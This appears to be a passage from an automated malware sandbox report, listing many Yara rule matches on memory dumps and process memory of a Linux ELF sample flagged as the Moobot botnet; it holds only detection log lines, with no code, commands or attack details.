Source: Yara match	File source: 6593.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7293.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7246.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6938.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7146.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6799.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7218.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6309.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7028.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6692.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6501.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6976.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7111.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7198.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6240.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7232.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6851.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7330.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6977.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7130.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6605.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6954.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7089.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6853.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6615.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6443.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7061.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6389.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6487.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7357.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6439.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7271.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7187.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6685.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6935.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6727.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6536.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6774.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6330.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6447.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7101.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7278.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7115.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6714.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6928.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6265.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6337.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6591.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6794.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6241.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7419.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6476.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7436.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6538.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6874.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7375.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6955.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6634.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6659.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6694.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7148.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6598.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6547.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7377.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7359.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6806.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6619.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7387.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6319.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6297.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6740.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6888.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7257.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7296.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7133.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7139.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7135.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6599.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7312.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6970.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6324.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6746.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6813.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7380.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6826.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6539.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7063.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7379.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6308.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6713.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7048.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6657.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6245.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6548.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6847.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6335.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6630.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6993.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6805.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7378.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6372.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6909.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7216.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7190.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6317.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6597.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6788.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6669.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6572.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6579.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6561.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6535.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6904.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6743.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6626.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6243.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7423.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6736.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7294.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7066.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7017.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7039.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6946.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6451.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7195.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6566.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7282.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6804.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7040.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6571.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7100.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7445.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6869.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7060.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6231, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6233, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6235, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6237, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6239, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6241, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6242, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6243, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6245, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6246, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6247, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6248, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6249, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6250, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6251, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6253, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6254, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6255, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6256, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6258, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6260, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6262, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6263, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6265, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6266, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6269, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6270, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6271, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6272, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6274, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6275, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6277, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6279, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6280, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6282, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6283, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6285, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6286, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6287, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6288, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6289, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6290, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6291, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6293, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6294, type: MEMORYSTR

Yara detected Moobot

Source: Yara match	File source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
